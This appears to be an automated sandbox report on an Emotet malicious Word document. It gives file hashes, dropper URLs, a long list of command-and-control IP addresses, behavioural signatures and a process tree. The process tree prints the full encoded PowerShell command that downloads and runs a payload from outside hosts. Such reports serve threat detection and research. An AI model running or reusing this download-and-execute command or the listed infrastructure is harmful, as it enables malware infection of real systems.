emotet | 61b277c90703979b6f26776e18cad637717fb7113ec8fbb277a329621665cfc6

Analysis

max time kernel
135s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
15/09/2020, 10:33

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General

Target
emotet_e1_61b277c90703979b6f26776e18cad637717fb7113ec8fbb277a329621665cfc6_2020-09-15__103056._doc.doc
Size 155KB
Sample200915-ac77rmrhxe
SHA256 61b277c90703979b6f26776e18cad637717fb7113ec8fbb277a329621665cfc6
MD5 c3cbf156c5db22266260845e91827a45
SHA1 a57536cf45ae58c668c81c148988dc01f12fca8a
SHA512 527d8c4d2629e27e780e94ff5385c51105c92ab4b0e878f818bf3670d3441439b30f56640b76295864dcce243d4c48bab1c0cfa3d5716127a97938c0b53b4c31
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://qstride.com/img/1W/
exe.dropper
http://syracusecoffee.com/customer/i/
exe.dropper
http://shahrakyar.com/cms/3e/
exe.dropper
http://vuatritue.com/wp-admin/FkX/
exe.dropper
http://glafka.com/wp-content/2L7/
exe.dropper
http://rovrooftiles.com/wp-includes/nDP/
exe.dropper
http://paulospainting.com/wp-includes/7k/

Extracted

Family

emotet

82.230.1.24:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
61.197.92.216:80
217.199.160.224:7080
61.92.159.208:8080
186.103.141.250:443
104.131.41.185:8080
170.81.48.2:80
50.121.220.50:80
190.195.129.227:8090
187.162.248.237:80
172.104.169.32:8080
199.203.62.165:80
45.161.242.102:80
45.46.37.97:80
96.227.52.8:443
65.36.62.20:80
220.109.145.69:80
74.58.215.226:80
181.129.96.162:8080
45.33.77.42:8080
70.32.115.157:8080
185.178.10.77:80
104.131.103.37:8080
213.197.182.158:8080
73.213.208.163:80
72.47.248.48:7080
181.30.61.163:443
67.247.242.247:80
192.241.143.52:8080
216.47.196.104:80
2.47.112.152:80
212.71.237.140:8080
190.2.31.172:80
190.24.243.186:80
111.67.77.202:8080
185.94.252.27:443
177.74.228.34:80
184.66.18.83:80
68.69.155.181:80
190.6.193.152:8080
77.238.212.227:80
64.201.88.132:80
177.73.0.98:443
190.115.18.139:8080
185.215.227.107:443
95.9.180.128:80
5.189.178.202:8080
191.182.6.118:80
5.196.35.138:7080
50.28.51.143:8080
192.241.146.84:8080
185.94.252.12:80
54.37.42.48:8080
137.74.106.111:7080
45.16.226.117:443
185.183.16.47:80
51.159.23.217:443
209.236.123.42:8080
190.163.31.26:80
87.106.46.107:8080
83.169.21.32:7080
217.13.106.14:8080
190.147.137.153:443
78.249.119.122:80
77.90.136.129:8080
178.250.54.208:8080
74.136.144.133:80
138.97.60.141:7080
219.92.13.25:80
190.190.148.27:8080
68.183.170.114:8080
98.13.75.196:80
70.32.84.74:8080
82.76.111.249:443
51.255.165.160:8080
94.176.234.118:443
152.169.22.67:80
189.2.177.210:443
72.135.200.124:80
188.135.15.49:80
77.106.157.34:8080
204.225.249.100:7080
12.162.84.2:8080
186.70.127.199:8090
68.183.190.199:8080
110.142.219.51:80
111.67.12.221:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2084	1076	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2084	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2616	Luwfh3_t.exe
2396	iedkcs32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\regini\iedkcs32.exe	Luwfh3_t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
964	WINWORD.EXE
964	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2084	powershell.exe
2084	powershell.exe
2084	powershell.exe
2396	iedkcs32.exe
2396	iedkcs32.exe
2396	iedkcs32.exe
2396	iedkcs32.exe
2396	iedkcs32.exe
2396	iedkcs32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2084	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
2616	Luwfh3_t.exe
2616	Luwfh3_t.exe
2396	iedkcs32.exe
2396	iedkcs32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 2616	2084	powershell.exe	76
PID 2084 wrote to memory of 2616	2084	powershell.exe	76
PID 2084 wrote to memory of 2616	2084	powershell.exe	76
PID 2616 wrote to memory of 2396	2616	Luwfh3_t.exe	79
PID 2616 wrote to memory of 2396	2616	Luwfh3_t.exe	79
PID 2616 wrote to memory of 2396	2616	Luwfh3_t.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_61b277c90703979b6f26776e18cad637717fb7113ec8fbb277a329621665cfc6_2020-09-15__103056._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJAGEAOQBpAGEANQA2AD0AKAAnAEYAJwArACcANwAnACsAKAAnAGIAcgBtACcAKwAnAGQANwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAHIATwBGAEkAbABFAFwARABnAGcATQBPADkAMQBcAFAAZABOAG8AVQBPAGMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBJAGAAVAB5AFAAYABSAGAATwB0AG8AQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwArACcALAAgAHQAbAAnACkAKwAnAHMAJwArACcAMQAnACsAKAAnADEALAAnACsAJwAgACcAKQArACgAJwB0AGwAJwArACcAcwAnACkAKQA7ACQAUwByAGwAegBhAGsAYgAgAD0AIAAoACgAJwBMACcAKwAnAHUAdwAnACkAKwAoACcAZgBoACcAKwAnADMAXwAnACkAKwAnAHQAJwApADsAJABTAG0AaAA4AGwAbwBsAD0AKAAoACcASAAnACsAJwBuAF8AJwApACsAJwBuADUAJwArACcAbQBsACcAKQA7ACQATABvAG4AOABrAGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBDACcAKwAnAFYAVQAnACsAKAAnAEQAZwAnACsAJwBnACcAKQArACcAbQAnACsAKAAnAG8AOQAnACsAJwAxAEMAVgAnACsAJwBVAFAAZABuACcAKwAnAG8AdQAnACkAKwAoACcAbwAnACsAJwBjAEMAVgAnACkAKwAnAFUAJwApACAALQBSAGUAUABMAGEAQwBFACAAIAAoACcAQwBWACcAKwAnAFUAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAFMAcgBsAHoAYQBrAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAGYAcwA3AGkAawBzAD0AKAAoACcAVwA5ACcAKwAnAF8AMwA5ACcAKQArACcANQAnACsAJwB1ACcAKQA7ACQASwBwAG4AbwB3AG4AMgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAG4AVAA7ACQAUAA3ADUAMgAwAHkAMwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvACcAKwAnAHEAcwB0ACcAKwAnAHIAaQAnACsAJwBkAGUALgBjAG8AbQAnACsAJwAvAGkAbQAnACkAKwAnAGcALwAnACsAKAAnADEAJwArACcAVwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AcwB5ACcAKwAnAHIAJwArACcAYQBjAHUAcwBlAGMAbwBmAGYAZQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAYwB1AHMAJwArACcAdAAnACkAKwAoACcAbwBtACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcALwBpACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvAHMAJwArACgAJwBoAGEAaAAnACsAJwByACcAKQArACgAJwBhAGsAeQBhAHIALgAnACsAJwBjAG8AbQAvAGMAJwArACcAbQBzACcAKQArACcALwAzACcAKwAnAGUALwAnACsAJwAqAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAJwAvAHYAJwArACcAdQBhACcAKwAoACcAdAByACcAKwAnAGkAJwApACsAJwB0ACcAKwAnAHUAZQAnACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAKAAnAEYAJwArACcAawBYACcAKQArACgAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBnACcAKQArACgAJwBsAGEAJwArACcAZgBrAGEAJwArACcALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAKAAnAHAAJwArACcALQBjACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnADIATAA3AC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwByACcAKwAnAG8AJwArACcAdgByACcAKQArACcAbwAnACsAKAAnAG8AZgB0AGkAbABlACcAKwAnAHMALgAnACsAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAnAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAZQAnACsAJwBzAC8AJwArACcAbgBEAFAALwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAvAHAAJwApACsAKAAnAGEAdQAnACsAJwBsACcAKwAnAG8AcwBwAGEAaQBuAHQAJwApACsAJwBpAG4AJwArACgAJwBnAC4AYwBvACcAKwAnAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGkAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZABlAHMALwA3ACcAKwAnAGsALwAnACkAKQAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHUAawBzAHkAcQA3AD0AKAAnAFMAYwAnACsAJwBiACcAKwAoACcAMQA4ACcAKwAnAGYAeAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAcwA4ADIAbABvAGQAIABpAG4AIAAkAFAANwA1ADIAMAB5ADMAKQB7AHQAcgB5AHsAJABLAHAAbgBvAHcAbgAyAC4AIgBEAGAATwB3AE4ATABgAE8AYQBkAEYASQBMAGUAIgAoACQAVQBzADgAMgBsAG8AZAAsACAAJABMAG8AbgA4AGsAawB6ACkAOwAkAEkANQBuAHgAcgB4AHAAPQAoACcAVgAnACsAKAAnAF8AYQAnACsAJwBuACcAKQArACgAJwBwACcAKwAnAHUAcgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMAG8AbgA4AGsAawB6ACkALgAiAEwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADYAMAAxACkAIAB7AC4AKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEwAbwBuADgAawBrAHoAKQA7ACQAWQA5AGoAYwA0AHkAbwA9ACgAJwBCAGcAJwArACgAJwBnAGkANAAnACsAJwBsACcAKQArACcAMQAnACkAOwBiAHIAZQBhAGsAOwAkAFUAcgBlAHEAOQB2ADQAPQAoACcAVwB4ACcAKwAoACcAeQBwACcAKwAnAHQAJwApACsAJwBiAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADcAOQBpAG8AZgBzAD0AKAAnAFoAJwArACgAJwBvAHAAcgAnACsAJwBqACcAKQArACcAaABjACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe
  "C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\SysWOW64\regini\iedkcs32.exe
    "C:\Windows\SysWOW64\regini\iedkcs32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/964-1-0x000002B8C8182000-0x000002B8C8193000-memory.dmp

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memory/964-2-0x000002B8C8182000-0x000002B8C8193000-memory.dmp

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memory/964-3-0x000002B8C817F000-0x000002B8C8182000-memory.dmp

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memory/964-4-0x000002B8C817F000-0x000002B8C8182000-memory.dmp

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memory/964-5-0x000002B8C5F4A000-0x000002B8C5F4D000-memory.dmp

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memory/964-6-0x000002B8C5F4A000-0x000002B8C5F4D000-memory.dmp

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memory/964-7-0x000002B8C8328000-0x000002B8C832B000-memory.dmp

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memory/964-8-0x000002B8C832B000-0x000002B8C8330000-memory.dmp

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memory/964-0-0x00007FFED1730000-0x00007FFED1DF6000-memory.dmp

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memory/2084-10-0x000001A6A0BA0000-0x000001A6A0BA1000-memory.dmp

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memory/2084-11-0x000001A6A0EA0000-0x000001A6A0EA1000-memory.dmp

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memory/2084-9-0x00007FFECA560000-0x00007FFECAF4C000-memory.dmp

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memory/2396-20-0x00000000020B0000-0x00000000020C0000-memory.dmp

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memory/2396-19-0x0000000002230000-0x0000000002242000-memory.dmp

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memory/2616-15-0x00000000021F0000-0x0000000002202000-memory.dmp

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memory/2616-16-0x00000000005C0000-0x00000000005D0000-memory.dmp

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